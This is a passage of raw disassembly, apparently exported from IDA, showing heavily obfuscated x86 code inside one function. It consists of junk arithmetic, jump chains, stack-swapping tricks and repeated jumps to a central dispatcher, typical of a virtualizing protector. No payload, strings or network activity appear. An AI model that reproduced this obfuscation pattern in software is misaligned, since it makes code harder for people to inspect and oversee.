xchg edi, [esp-24h+arg_1A+2] pop esi jmp loc_58FA6B ; --------------------------------------------------------------------------- loc_58A7CB: ; CODE XREF: sub_580566+FBF7j add ebx, 2E472166h jmp loc_586EDE ; --------------------------------------------------------------------------- loc_58A7D6: ; CODE XREF: sub_580566+E8FFj sub esp, 4 mov [esp-24h+arg_1A+2], edx jmp loc_5903FC ; --------------------------------------------------------------------------- loc_58A7E1: ; CODE XREF: sub_580566+AE3Bj mov ebx, 9AB213Dh shr ebx, 6 jmp loc_5860D3 ; --------------------------------------------------------------------------- word_58A7EE dw 8B66h ; DATA XREF: sub_580566+3CBEo dd 81522404h, 4ECh, 0C9F4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A7FE: ; DATA XREF: sub_580566+3D56o push 711Bh jmp loc_58BB5C ; --------------------------------------------------------------------------- mov ax, word ptr [esp-2Ch+arg_24] sub esp, 4 jmp loc_58A851 ; --------------------------------------------------------------------------- loc_58A814: ; CODE XREF: sub_580566+DF97j mov ebx, [esp-28h+arg_20] add esp, 4 add al, 0A1h push edx mov dh, 0E6h sub esp, 4 mov [esp-24h+arg_1A+2], ecx jmp loc_58E483 ; --------------------------------------------------------------------------- loc_58A82D: ; CODE XREF: sub_580566+B1C6j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58EB02 ; --------------------------------------------------------------------------- loc_58A841: ; CODE XREF: sub_580566+101BFj shr esi, 4 xor esi, 3C0FE490h add eax, esi jmp loc_588BC4 ; --------------------------------------------------------------------------- loc_58A851: ; CODE XREF: sub_580566+A2A9j mov [esp-28h+arg_20], edi sub esp, 4 jmp loc_58F7CC ; --------------------------------------------------------------------------- loc_58A85F: ; CODE XREF: sub_580566+90C4j mov esi, [esp-8+arg_4] add esp, 4 push 7AE1h mov [esp-8+arg_4], edx mov edx, 4CCE7BD9h xor edx, 4CCE7BDDh add esi, edx pop edx add esi, 4 sub esp, 4 jmp loc_589879 ; --------------------------------------------------------------------------- loc_58A889: ; CODE XREF: sub_580566+5C2Dj push esi mov esi, 33BA47C4h jmp loc_585F4B ; --------------------------------------------------------------------------- loc_58A894: ; CODE XREF: sub_580566+F206j add ecx, 5D4A6B6Eh add ecx, eax sub ecx, 5D4A6B6Eh pop eax push 69DAh mov [esp+2Ch+var_2C], ebx push ebp mov ebp, 74332B2Ah mov ebx, 0DF4F7EBDh jmp loc_58B707 ; --------------------------------------------------------------------------- loc_58A8BB: ; CODE XREF: sub_580566+9658j xor [esp-30h+arg_28], edx xor edx, [esp-30h+arg_28] xor [esp-30h+arg_28], edx xchg ecx, edx not ecx xchg ecx, edx push edx push [esp-2Ch+arg_28] mov edx, [esp-28h+arg_20] add esp, 4 pop [esp-2Ch+arg_24] jmp loc_588404 ; --------------------------------------------------------------------------- loc_58A8E0: ; CODE XREF: sub_580566+9120j push edi mov edi, 740E3816h sub edi, 396C2819h dec edi shr edi, 8 not edi xor edi, 0FFC55DF4h add edx, 35B11AB4h add edx, edi sub edx, 35B11AB4h mov edi, [esp-24h+arg_1A+2] add esp, 4 add edx, 4 xchg edx, [esp-28h+arg_20] jmp loc_584F53 ; --------------------------------------------------------------------------- loc_58A91D: ; CODE XREF: sub_580566+5D3Bj shr ecx, 4 and ecx, 33AD741Ch or ecx, 2B2C47FDh shl ecx, 8 jmp loc_58CABE ; --------------------------------------------------------------------------- loc_58A934: ; CODE XREF: sub_580566+5C90j xchg ecx, ebp sub ebp, 9C18CB9h add edi, ebp jmp loc_5884A5 ; --------------------------------------------------------------------------- loc_58A943: ; CODE XREF: sub_580566+FB76j inc eax xchg eax, ecx or ecx, 427A7324h push esi mov esi, 30F63360h not esi push ebx mov ebx, 1844CD5h and esi, ebx pop ebx and esi, 1FB164FAh jmp loc_585D93 ; --------------------------------------------------------------------------- loc_58A967: ; CODE XREF: sub_580566+F21Ej shr eax, 2 sub eax, 2C72621Ch push edi mov edi, 45E09E25h add eax, edi pop edi xor ebp, eax pop eax add eax, ebp mov ebp, [esp-2Ah+arg_20+2] add esp, 4 push 661Bh mov [esp-2Ah+arg_20+2], esi mov esi, 4E326AA5h jmp loc_585793 ; --------------------------------------------------------------------------- loc_58A998: ; CODE XREF: sub_580566+6C54j mov esi, 0FF04E14h mov eax, esi pop esi shr eax, 6 sub eax, 1 jmp loc_58F7EA ; --------------------------------------------------------------------------- loc_58A9AB: ; CODE XREF: sub_580566+99C8j xor edi, [esp-20h+arg_16+2] pop esp mov fs:[edx], al jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A9B7: ; CODE XREF: sub_580566+49A6j mov eax, edx pop edx jmp loc_58AB55 ; --------------------------------------------------------------------------- loc_58A9BF: ; CODE XREF: sub_580566+D46Fj mov cx, [esp+0] jmp loc_58B7AA ; --------------------------------------------------------------------------- loc_58A9C8: ; CODE XREF: sub_580566+B36Bj push 3B8Ah mov [esp-0Ch+arg_8], ecx sub esp, 4 jmp loc_58EB73 ; --------------------------------------------------------------------------- loc_58A9DB: ; CODE XREF: sub_580566+CCDDj sub edx, 7AD9449Bh jmp loc_58841E ; --------------------------------------------------------------------------- loc_58A9E6: ; CODE XREF: sub_580566+F68Dj xchg ebp, [esp-8+arg_4] mov esp, [esp-8+arg_4] sub eax, 4 xor eax, [esp-8+arg_4] jmp loc_5899C5 ; --------------------------------------------------------------------------- loc_58A9F9: ; CODE XREF: sub_580566+8CCFj sub eax, 2B8B126Bh add eax, edx add eax, 2B8B126Bh push ebp mov ebp, 0A4334F5h sub eax, ebp jmp loc_5897D1 ; --------------------------------------------------------------------------- loc_58AA12: ; CODE XREF: sub_580566+7698j mov [esp-1Ch+arg_12+2], ebx push eax mov eax, 509835CFh add [esp-18h+arg_12+2], eax mov eax, [esp-18h+arg_E+2] add esp, 4 pop eax push edx push ecx mov ecx, 500B2C73h xor ecx, 0CAA5B39h sub ecx, 6BBE2CCAh sub ecx, 0D7B82B41h mov edx, 5CAA214Eh sub edx, 238020F5h add edx, ecx add edx, 238020F5h pop ecx shr edx, 5 push edi mov edi, 11E54C32h and edi, 291F38ABh jmp loc_586260 ; --------------------------------------------------------------------------- loc_58AA6A: ; CODE XREF: sub_580566+71C9j xor edx, 726696E0h mov esi, 0DDD7A45h sub esi, edx pop edx sub esi, 628B18FFh xor esi, 0A4F9120Fh add ebx, esi pop esi add ebx, 4 xor ebx, [esp-34h+arg_2C] jmp loc_58FC02 ; --------------------------------------------------------------------------- loc_58AA95: ; CODE XREF: sub_580566+D9B3j add esi, 0D5C4E004h add ebx, esi pop esi jmp loc_58B3B3 ; --------------------------------------------------------------------------- loc_58AAA3: ; CODE XREF: sub_580566+FD04j pop edx pop ax and ch, 50h neg ch push bx jmp loc_5889F6 ; --------------------------------------------------------------------------- loc_58AAB2: ; CODE XREF: sub_580566+F3E7j xor edx, ebx xor [esp-3Ch+arg_34], edx xor edx, [esp-3Ch+arg_34] xor [esp-3Ch+arg_34], edx jmp loc_584473 ; --------------------------------------------------------------------------- loc_58AAC2: ; CODE XREF: sub_580566+CC8Bj sub ecx, 4 xchg ecx, [esp-3Ch+arg_34] pop esp mov [esp-40h+arg_38], ebx push 7825h mov [esp-3Ch+arg_34], esp add [esp-3Ch+arg_34], 4 mov ebx, [esp-3Ch+arg_34] add esp, 4 push ecx jmp loc_585E7E ; --------------------------------------------------------------------------- loc_58AAE7: ; CODE XREF: sub_580566+D6B6j or ah, 41h neg ah shl ah, 1 jmp loc_58727B ; --------------------------------------------------------------------------- loc_58AAF3: ; CODE XREF: sub_580566+8153j xchg ebp, ecx sub ecx, 17105EEh dec ecx push 7727h mov [esp+30h+var_30], ebp mov ebp, 11641006h xor ecx, ebp pop ebp jmp loc_58CD11 ; --------------------------------------------------------------------------- loc_58AB11: ; CODE XREF: sub_580566+F613j xor [esp+2Ch+var_2C], edx jmp loc_586122 ; --------------------------------------------------------------------------- loc_58AB19: ; CODE XREF: sub_580566+4879j push edx mov dh, 8Bh and dh, 7 jmp loc_586F20 ; --------------------------------------------------------------------------- loc_58AB24: ; CODE XREF: sub_580566+E420j mov ecx, [esp-2Ch+arg_24] jmp loc_5868B3 ; --------------------------------------------------------------------------- loc_58AB2C: ; CODE XREF: sub_580566+857Fj push ebx push eax jmp loc_58CB6E ; --------------------------------------------------------------------------- loc_58AB33: ; CODE XREF: sub_580566+B6FDj add ecx, 775E56DFh add ecx, ebx sub ecx, 775E56DFh mov ebx, [esp+2Ch+var_2C] add esp, 4 add ecx, 4 xchg ecx, [esp+28h+var_28] mov esp, [esp+28h+var_28] jmp loc_58698F ; --------------------------------------------------------------------------- loc_58AB55: ; CODE XREF: sub_580566+A454j sub edi, eax pop eax mov eax, edi jmp loc_58A238 ; --------------------------------------------------------------------------- loc_58AB5F: ; CODE XREF: sub_580566+F7DAj add [esp-14h+arg_E+2], eax sub [esp-14h+arg_E+2], 498A4540h pop eax jmp loc_585C91 ; --------------------------------------------------------------------------- loc_58AB71: ; CODE XREF: sub_580566+DED2j push 421Fh mov [esp-14h+arg_A+2], ebp push 5DDBh mov [esp+0], eax mov eax, 5A48121Eh mov ebp, 3F201EBBh xor ebp, eax pop eax add eax, ebp mov ebp, [esp-14h+arg_A+2] jmp loc_588FC6 ; --------------------------------------------------------------------------- loc_58AB98: ; CODE XREF: sub_580566+BFBDj add [esp-14h+arg_E+2], edx jmp loc_58D127 ; --------------------------------------------------------------------------- loc_58ABA1: ; CODE XREF: sub_580566+C944j mov edi, esi pop esi or edi, 5D101AA2h shr edi, 1 or edi, 7FA7464Ah shr edi, 8 jmp loc_58B7D2 ; --------------------------------------------------------------------------- loc_58ABBA: ; CODE XREF: sub_580566+9EE7j shl ebx, 8 and ebx, 7302381Dh sub ebx, 7AEB4BAAh jmp loc_585E93 ; --------------------------------------------------------------------------- loc_58ABCE: ; CODE XREF: sub_580566+ABCEj neg bl xchg dl, bl jmp loc_58B3E1 ; --------------------------------------------------------------------------- loc_58ABD7: ; CODE XREF: sub_580566+9BB5j push [esp-2Ah+arg_20+2] pop edx add esp, 4 add esp, 4 jmp loc_584473 ; --------------------------------------------------------------------------- loc_58ABEC: ; CODE XREF: sub_580566+E57Cj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-2Eh+arg_24+2] pop esp push ebx jmp loc_584D03 ; --------------------------------------------------------------------------- loc_58AC02: ; CODE XREF: sub_580566+EA8Aj xor ch, 98h xor ch, 0D2h add ch, 0A5h sub ch, 52h shl ch, 1 shl ch, 5 not ch add ch, 16h neg ch shl ch, 7 or ch, 58h sub ch, 0D6h add ch, 37h add al, ch pop ecx pop ecx sub al, bl push 1E93h mov [esp-32h+arg_28+2], ebx mov bh, 71h not bh sub esp, 4 mov [esp-2Eh+arg_24+2], edx mov dh, 0Fh xor dh, 5Bh or bh, dh pop edx sub bh, 0B2h add bh, 0A9h push small 0 jmp loc_58B917 ; --------------------------------------------------------------------------- loc_58AC58: ; CODE XREF: sub_580566+421Cj push edi mov edi, 4 add ebx, 66365A45h add ebx, edi sub ebx, 66365A45h mov edi, [esp+2Ah+var_2C+2] add esp, 4 sub esp, 4 jmp loc_58EEE8 ; --------------------------------------------------------------------------- loc_58AC80: ; CODE XREF: sub_580566+AE0Fj mov cl, bl jmp loc_58B7B8 ; --------------------------------------------------------------------------- loc_58AC87: ; CODE XREF: sub_580566+F437j pop ebp and edx, edi pop edi push 36E2h mov [esp+26h+var_28+2], esi mov esi, 164B6834h jmp loc_58A6CF ; --------------------------------------------------------------------------- loc_58AC9D: ; CODE XREF: sub_580566+E907j add eax, 4 add eax, 4 xchg eax, [esp+26h+var_28+2] pop esp movzx eax, al lea eax, [edi+eax*4] jmp loc_58C8EF ; --------------------------------------------------------------------------- loc_58ACB6: ; CODE XREF: sub_580566+F8CBj push esi mov esi, 2 add edi, esi pop esi xor edi, [esp+22h+var_24+2] jmp loc_58BC68 ; --------------------------------------------------------------------------- loc_58ACC7: ; CODE XREF: sub_580566+B5E0j pop ecx jmp loc_58598E ; --------------------------------------------------------------------------- loc_58ACCD: ; CODE XREF: sub_580566+FAA2j pop edx push 3D0h mov [esp+1Eh+var_20+2], ebx jmp loc_58FB7E ; --------------------------------------------------------------------------- loc_58ACDB: ; CODE XREF: sub_580566+BBEEj shl dl, 1 add dl, 40h add bl, dl jmp loc_5854C7 ; --------------------------------------------------------------------------- loc_58ACE7: ; DATA XREF: sub_580566+3DC6o push [esp-30h+arg_28] jmp loc_58E91E ; --------------------------------------------------------------------------- loc_58ACEF: ; CODE XREF: sub_580566+DA55j dec bh add bh, 56h mov dh, bh pop ebx jmp loc_589B24 ; --------------------------------------------------------------------------- loc_58ACFC: ; CODE XREF: sub_580566+D206j sub al, 0 pop ebx add al, ch sub al, 3Eh push [esp-34h+arg_2C] jmp loc_58B19F ; --------------------------------------------------------------------------- loc_58AD0B: ; CODE XREF: sub_580566+E2ACj mov esp, [esp-30h+arg_28] push 7DB1h jmp loc_590278 ; --------------------------------------------------------------------------- loc_58AD18: ; CODE XREF: sub_580566+9FEBj xor esi, 4B79706Ah add esi, 17F07B65h jmp loc_58C71B ; --------------------------------------------------------------------------- loc_58AD29: ; CODE XREF: sub_580566+9479j add ebp, 4 jmp loc_587668 ; --------------------------------------------------------------------------- loc_58AD34: ; CODE XREF: sub_580566+C7A6j mov edi, 4 add ebx, edi pop edi sub esp, 4 mov [esp-0Ch+arg_8], edx push eax mov eax, 60C7044Ch or eax, 12620BEFh sub eax, 72E70FEDh mov edx, eax pop eax add ebx, edx pop edx push ebx push dword ptr [esp+4] push [esp-8+arg_4] pop ebx jmp loc_58D9CC ; --------------------------------------------------------------------------- loc_58AD69: ; CODE XREF: sub_580566+FE23j or ah, 9 inc ah sub ah, 6Ah xor ah, 86h mov dh, ah pop eax xor al, dh mov dx, word ptr [esp-0Ch+arg_8] sub esp, 4 jmp loc_58705C ; --------------------------------------------------------------------------- loc_58AD85: ; CODE XREF: sub_580566+D751j pop esp jmp loc_585A16 ; --------------------------------------------------------------------------- loc_58AD8B: ; CODE XREF: sub_580566+4858j pop edx jmp loc_588ABB ; --------------------------------------------------------------------------- loc_58AD91: ; DATA XREF: sub_580566+3C6Eo pop dword ptr [edx] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58AD98: ; CODE XREF: sub_580566+DCECj sub esi, 0C0113FFh sub eax, esi pop esi xchg eax, [esp-0Ch+arg_8] pop esp mov [esp+0], ebx mov ebx, 74C556FBh push eax mov eax, 74C556FBh sub ebx, eax mov eax, [esp-0Ch+arg_8] add esp, 4 mov [edi+24h], ebx pop ebx xor edx, edx push ecx push esp pop ecx jmp loc_584B29 ; --------------------------------------------------------------------------- loc_58ADCC: ; CODE XREF: sub_580566+7803j mov [esp-2Ch+arg_24], esi push esp pop esi push ecx jmp loc_58F72D ; --------------------------------------------------------------------------- loc_58ADD7: ; CODE XREF: sub_580566+8659j xor esi, 27524C78h add esi, 81D0A78Ch mov edx, esi pop esi push ebx push esi mov esi, 7E394CBEh jmp loc_5853F2 ; --------------------------------------------------------------------------- loc_58ADF2: ; CODE XREF: sub_580566+4798j inc ecx not ecx add ecx, 0DC8F9864h jmp loc_588D72 ; --------------------------------------------------------------------------- loc_58AE00: ; CODE XREF: sub_580566+670Aj mov [esp+0], ecx sub esp, 4 jmp loc_58F624 ; --------------------------------------------------------------------------- loc_58AE0B: ; CODE XREF: sub_580566+F72Cj add ebp, 0BA7A9049h push ebx mov ebx, 23940687h push edx mov edx, 6E7A7EFEh sub ebx, edx pop edx xor ebx, 9E1BAF4Eh add edx, ebx mov ebx, [esp+4+var_4] add esp, 4 add edx, ebp push edi mov edi, 1358601Ch dec edi jmp loc_58A1E5 ; --------------------------------------------------------------------------- loc_58AE3F: ; CODE XREF: sub_580566+5F24j push 6CFEh mov [esp+0], esi mov esi, esp jmp loc_586C5B ; --------------------------------------------------------------------------- loc_58AE4E: ; CODE XREF: sub_580566+AB8Cj mov ecx, 0C317F887h add ecx, 1DE6579Eh add ecx, ebx jmp loc_58E4A1 ; --------------------------------------------------------------------------- loc_58AE60: ; CODE XREF: sub_580566+CB4Bj pop edi xchg edx, [esp+0] jmp loc_585133 ; --------------------------------------------------------------------------- loc_58AE69: ; CODE XREF: sub_580566+5968j sub edx, 4A231F51h sub edx, 148D0A64h pop ebp pop eax jmp loc_58D8FA ; --------------------------------------------------------------------------- loc_58AE7C: ; CODE XREF: sub_580566+E152j inc ebx jmp loc_58BD33 ; --------------------------------------------------------------------------- loc_58AE82: ; CODE XREF: sub_580566+EBDDj add esp, 4 push 0C76h jmp loc_5889CB ; --------------------------------------------------------------------------- loc_58AE8F: ; CODE XREF: sub_580566+C1B0j push 3802h jmp loc_58E798 ; --------------------------------------------------------------------------- loc_58AE99: ; CODE XREF: sub_580566+C76Dj push ebx jmp loc_58EF77 ; --------------------------------------------------------------------------- loc_58AE9F: ; CODE XREF: sub_580566+99CFj sub eax, 5ADD58A9h mov edx, [esp-0Ch+arg_8] add esp, 4 push edi jmp loc_584A03 ; --------------------------------------------------------------------------- loc_58AEB3: ; CODE XREF: sub_580566+F947j mov edx, [esp-0Ch+arg_8] jmp loc_58C559 ; --------------------------------------------------------------------------- loc_58AEBB: ; CODE XREF: sub_580566+B834j xchg eax, [esp-0Ch+arg_8] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_58AEC4: ; CODE XREF: sub_580566+64D4j xor ecx, 1F2049EEh jmp loc_58E761 ; --------------------------------------------------------------------------- loc_58AECF: ; CODE XREF: sub_580566+C5C8j add ebp, 0B877E0ACh add esi, ebp pop ebp mov ebp, esi pop esi shl ebp, 2 push eax mov eax, 7ED3DCFh not eax add eax, 7B3B5FD9h shl eax, 7 add eax, 0AD348C8h xor eax, 8BAA3761h sub ebp, eax jmp loc_58BB7E ; --------------------------------------------------------------------------- loc_58AEFF: ; CODE XREF: sub_580566+9CB1j add esp, 4 add ecx, 0A0B65DC5h xor eax, ecx pop ecx sub esp, 4 mov [esp-2Ch+arg_24], edx mov edx, 5191AE25h push ecx jmp loc_58A691 ; --------------------------------------------------------------------------- loc_58AF1C: ; CODE XREF: sub_580566+A066j add esi, 20414972h jmp loc_58A7BC ; --------------------------------------------------------------------------- loc_58AF27: ; CODE XREF: sub_580566+9969j pop esi xor ebx, [esp+10h+var_10] xor [esp+10h+var_10], ebx xor ebx, [esp+10h+var_10] pop esp mul cx push small 710h mov word ptr [esp+0Eh+var_10+2], dx push ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58AF45: ; CODE XREF: sub_580566+9EC9j mov [esp-3Ch+arg_34], esi mov esi, esp jmp loc_58F259 ; --------------------------------------------------------------------------- loc_58AF4F: ; CODE XREF: sub_580566+AC1Dj pop ebp jmp loc_5857F1 ; --------------------------------------------------------------------------- loc_58AF55: ; CODE XREF: sub_580566+D2B2j add esp, 4 not ebp xor ebp, 13CA09D1h inc ebp xor ebp, 0A509C5C8h mov ecx, ebp pop ebp push ecx mov ecx, 64FD0CF2h jmp loc_584989 ; --------------------------------------------------------------------------- loc_58AF78: ; CODE XREF: sub_580566+60F4j add esp, 4 push ebp jmp loc_587E7A ; --------------------------------------------------------------------------- loc_58AF81: ; CODE XREF: sub_580566+6A70j pop esp cmp cx, ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58AF8B: ; CODE XREF: sub_580566+89F6j pop esi jmp loc_58DAE3 ; --------------------------------------------------------------------------- loc_58AF91: ; CODE XREF: sub_580566+C7B9j add ebp, edx jmp loc_586AD0 ; --------------------------------------------------------------------------- loc_58AF98: ; CODE XREF: sub_580566+FF2Ej pop ebx add edi, esi push 676Fh mov [esp-34h+arg_2C], ebx mov ebx, 748B05C6h add edi, ebx pop ebx pop esi add edi, 2 xchg edi, [esp-3Ch+arg_34] jmp loc_5859D3 ; --------------------------------------------------------------------------- loc_58AFBA: ; CODE XREF: sub_580566+F6E0j neg [esp-3Ch+arg_34] pop eax sub eax, 0FFFFFFFFh inc eax add eax, 0BC81FD08h push ebp mov ebp, 71ED512Bh dec ebp not ebp neg ebp jmp loc_585EDB ; --------------------------------------------------------------------------- loc_58AFD9: ; CODE XREF: sub_580566+8884j sub eax, 75F83B8Dh jmp loc_58F9A2 ; --------------------------------------------------------------------------- loc_58AFE3: ; CODE XREF: sub_580566+D567j neg edx xor edx, 45D003Dh sub edx, 105AA59Eh jmp loc_58EF32 ; --------------------------------------------------------------------------- loc_58AFF6: ; CODE XREF: sub_580566+C46Aj mov edx, ecx pop ecx not edx inc edx not edx neg edx xor edx, 29220014h jmp loc_58FC6A ; --------------------------------------------------------------------------- loc_58B00B: ; CODE XREF: sub_580566+984Aj push ecx mov ecx, 32022059h sub ebx, ecx pop ecx jmp loc_584875 ; --------------------------------------------------------------------------- loc_58B019: ; CODE XREF: sub_580566+CA58j xor eax, 997ACBA0h sub esi, 5D20528Ch add esi, eax add esi, 5D20528Ch pop eax push 10BDh mov [esp+8+var_8], esi push [esp+8+var_8] mov edi, [esp+0Ch+var_C] sub esp, 4 mov [esp+10h+var_10], ebx push esp jmp loc_58BBDD ; --------------------------------------------------------------------------- loc_58B04A: ; CODE XREF: sub_580566+E22Dj not edx add edx, 21144F9h inc edx xor edx, 6CAC368Ah mov esi, edx pop edx jmp loc_58F853 ; --------------------------------------------------------------------------- loc_58B061: ; CODE XREF: sub_580566+49EEj push 1480h mov [esp-46h+arg_3C+2], edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp-46h+arg_3C+2] xor [esp-46h+arg_3C+2], edi xor edi, [esp-46h+arg_3C+2] jmp loc_58EB41 ; --------------------------------------------------------------------------- loc_58B085: ; CODE XREF: sub_580566+6069j mov [esp+0], ecx mov ecx, 2 add esi, ecx pop ecx xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] pop esp shr word ptr [esp-8+arg_4], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58B0A4: ; CODE XREF: sub_580566+4311j add ebx, 32022059h jmp loc_58EC38 ; --------------------------------------------------------------------------- loc_58B0AF: ; CODE XREF: sub_580566+EB70j movzx cx, al push cx pushf jmp loc_58B2C8 ; --------------------------------------------------------------------------- loc_58B0BB: ; CODE XREF: sub_580566+9A7Dj xor bl, dl add bl, 0F5h neg bl jmp loc_58E4C8 ; --------------------------------------------------------------------------- loc_58B0C7: ; CODE XREF: sub_580566+8EF2j push 52D14C7Ch pop ecx or ecx, 438D34A3h or ecx, 6C0E64FEh sub ecx, 24E62058h push ecx jmp loc_588EAD ; --------------------------------------------------------------------------- loc_58B0E5: ; CODE XREF: sub_580566+6A95j push 1B78h mov [esp+4+var_4], ebx mov ebx, 3CE80778h jmp loc_58AE4E ; --------------------------------------------------------------------------- loc_58B0F7: ; CODE XREF: sub_580566+D706j push small 5A57h mov dx, word ptr [esp+6+var_8+2] add esp, 2 push eax mov ax, dx push ax add word ptr [esp+8+var_8], 310Dh jmp loc_5874D3 ; --------------------------------------------------------------------------- loc_58B116: ; CODE XREF: sub_580566+6E7Aj push 21DEh jmp loc_585221 ; --------------------------------------------------------------------------- loc_58B120: ; CODE XREF: sub_580566+657Bj sub eax, 3A6D5A0Fh push esi mov esi, 0FAD4757h not esi jmp loc_586629 ; --------------------------------------------------------------------------- loc_58B132: ; CODE XREF: sub_580566+FD0Dj dec bl jmp loc_58ABCE ; --------------------------------------------------------------------------- loc_58B139: ; CODE XREF: sub_580566+58F7j mov bh, byte ptr [esp-1Ch+arg_12+2] add esp, 2 push ecx mov ch, 78h sub ch, 0CBh sub ch, 0FDh jmp loc_58692F ; --------------------------------------------------------------------------- loc_58B14D: ; CODE XREF: sub_580566+C2BFj mov eax, 4 jmp loc_58C39B ; --------------------------------------------------------------------------- loc_58B157: ; CODE XREF: sub_580566+7CB6j xchg edi, [esp-20h+arg_16+2] jmp loc_58C4BA ; --------------------------------------------------------------------------- loc_58B15F: ; CODE XREF: sub_580566+DFD3j mov ecx, esp add ecx, 4 add ecx, 4 push ecx push [esp-1Ch+arg_16+2] mov ecx, [esp-18h+arg_E+2] add esp, 4 pop [esp-1Ch+arg_12+2] jmp loc_58C201 ; --------------------------------------------------------------------------- loc_58B17D: ; CODE XREF: sub_580566+AF01j add ecx, 796545DBh jmp loc_58AF4F ; --------------------------------------------------------------------------- loc_58B188: ; CODE XREF: sub_580566+B393j push esi mov esi, 74A369E9h sub esi, 669D4A68h add esi, 0F5B40B9h jmp loc_58D48E ; --------------------------------------------------------------------------- loc_58B19F: ; CODE XREF: sub_580566+A7A0j pop ecx jmp loc_5872B2 ; --------------------------------------------------------------------------- loc_58B1A5: ; CODE XREF: sub_580566+C760j push ebx jmp loc_585173 ; --------------------------------------------------------------------------- loc_58B1AB: ; CODE XREF: sub_580566+F75Dj push edx jmp loc_58BBAD ; --------------------------------------------------------------------------- loc_58B1B1: ; CODE XREF: sub_580566+5742j add ebx, ecx add ebx, 3BE6FDEh jmp loc_58B76C ; --------------------------------------------------------------------------- loc_58B1BE: ; CODE XREF: sub_580566+FC55j not esi dec esi jmp loc_586B0A ; --------------------------------------------------------------------------- loc_58B1C6: ; CODE XREF: sub_580566+5160j add esi, 4 xor esi, [esp+2Ch+var_2C] xor [esp+2Ch+var_2C], esi xor esi, [esp+2Ch+var_2C] pop esp add ebp, 2 xor ebp, [esp+28h+var_28] xor [esp+28h+var_28], ebp xor ebp, [esp+28h+var_28] mov esp, [esp+28h+var_28] mov ax, word ptr [esp+28h+var_28] push 618Fh mov [esp+2Ch+var_2C], ecx push esp mov ecx, [esp+30h+var_30] add esp, 4 add ecx, 4 push ecx mov ecx, esp jmp loc_586953 ; --------------------------------------------------------------------------- loc_58B209: ; CODE XREF: sub_580566+84BBj mov ebx, [esp+0] add esp, 4 xchg dh, ch xor byte ptr [esp-8+arg_4], ch jmp loc_58F63C ; --------------------------------------------------------------------------- loc_58B21C: ; CODE XREF: sub_580566+48DEj xchg al, ch xchg ch, bh mov cl, bh jmp loc_58812D ; --------------------------------------------------------------------------- loc_58B227: ; CODE XREF: sub_580566+DD09j push ecx push 61A3h jmp loc_58A283 ; --------------------------------------------------------------------------- loc_58B232: ; CODE XREF: sub_580566+599Fj sub edx, ecx pop ecx jmp loc_58FED3 ; --------------------------------------------------------------------------- loc_58B23A: ; CODE XREF: sub_580566+4B26j add edi, 443214DBh jmp loc_58F5C1 ; --------------------------------------------------------------------------- loc_58B245: ; CODE XREF: sub_580566+BFE5j mov ecx, 408647A6h dec ecx sub ecx, 0C3A2E4D3h xor edx, ecx jmp loc_58EE7E ; --------------------------------------------------------------------------- loc_58B258: ; CODE XREF: sub_580566+4CFFj mov ebx, esp add ebx, 4 push 17FAh mov [esp+2+var_4+2], ecx mov ecx, 4 add ebx, 4F933AE0h add ebx, ecx jmp loc_584EB5 ; --------------------------------------------------------------------------- loc_58B27A: ; CODE XREF: sub_580566+4ED9j shr ecx, 8 add ecx, 7E739D12h jmp loc_589027 ; --------------------------------------------------------------------------- loc_58B288: ; CODE XREF: sub_580566+EBFBj mov [esp-32h+arg_28+2], ebx mov bh, 0EFh mov dh, 91h jmp loc_58D7FE ; --------------------------------------------------------------------------- loc_58B294: ; CODE XREF: sub_580566+46A6j add esp, 4 xor bl, al push 7DF5h jmp loc_58B382 ; --------------------------------------------------------------------------- loc_58B2A3: ; CODE XREF: sub_580566+DD4Bj pop ebx add esp, 4 push edx jmp loc_589AFC ; --------------------------------------------------------------------------- loc_58B2B0: ; CODE XREF: sub_580566+C360j dec esi neg esi sub esi, 0DB0A273Ch jmp loc_58A479 ; --------------------------------------------------------------------------- loc_58B2BE: ; CODE XREF: sub_580566+F186j mov [esp-4Eh+arg_44+2], edx mov edx, esp jmp loc_58F48A ; --------------------------------------------------------------------------- loc_58B2C8: ; CODE XREF: sub_580566+AB50j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58B2CD: ; CODE XREF: sub_580566+C992j mov ecx, [esp-20h+arg_16+2] jmp loc_5902FA ; --------------------------------------------------------------------------- loc_58B2D5: ; CODE XREF: sub_580566+580Cj or ecx, ebp pop ebp sub ecx, 3D5F4B9Dh mov edx, ecx pop ecx add ebx, 36554A9Eh add ebx, edx sub ebx, 36554A9Eh jmp loc_58F50A ; --------------------------------------------------------------------------- loc_58B2F4: ; CODE XREF: sub_580566+B574j mov edx, 2 sub esp, 4 mov [esp-8+arg_4], ecx push ebp mov ebp, 6DB30435h jmp loc_58F6F9 ; --------------------------------------------------------------------------- loc_58B30A: ; CODE XREF: sub_580566+D1B5j push 58796ADBh pop ebp sub ebp, 0F0D1F4C8h mov eax, ebp mov ebp, [esp+0] add esp, 4 add eax, 2F490B76h neg eax shr eax, 2 add eax, 9087AA2h push edx mov edx, 1BB95A5Bh and edx, 314A2063h and edx, 517677FEh push ebx mov ebx, 4ADB5C16h and ebx, 15EE0BF2h shl ebx, 8 shr ebx, 4 sub ebx, 0C70DC729h xor edx, ebx pop ebx sub eax, 258753BFh add eax, edx add eax, 258753BFh pop edx jmp loc_588474 ; --------------------------------------------------------------------------- loc_58B36F: ; CODE XREF: sub_580566+862Ej mov edx, [esp-36h+arg_2C+2] add esp, 4 jmp loc_58AC80 ; --------------------------------------------------------------------------- loc_58B37A: ; CODE XREF: sub_580566+6565j mov edx, [esp-34h+arg_2C] jmp loc_585AE2 ; --------------------------------------------------------------------------- loc_58B382: ; CODE XREF: sub_580566+AD38j mov [esp-4Ah+arg_40+2], ebx push 7FFCh mov [esp-46h+arg_3C+2], edi jmp loc_58DFA3 ; --------------------------------------------------------------------------- loc_58B392: ; CODE XREF: sub_580566+FB38j mov [esp-46h+arg_3C+2], ecx push 43460CE1h jmp loc_58FFF7 ; --------------------------------------------------------------------------- loc_58B39F: ; CODE XREF: sub_580566+D195j push eax push ebx jmp loc_58A7E1 ; 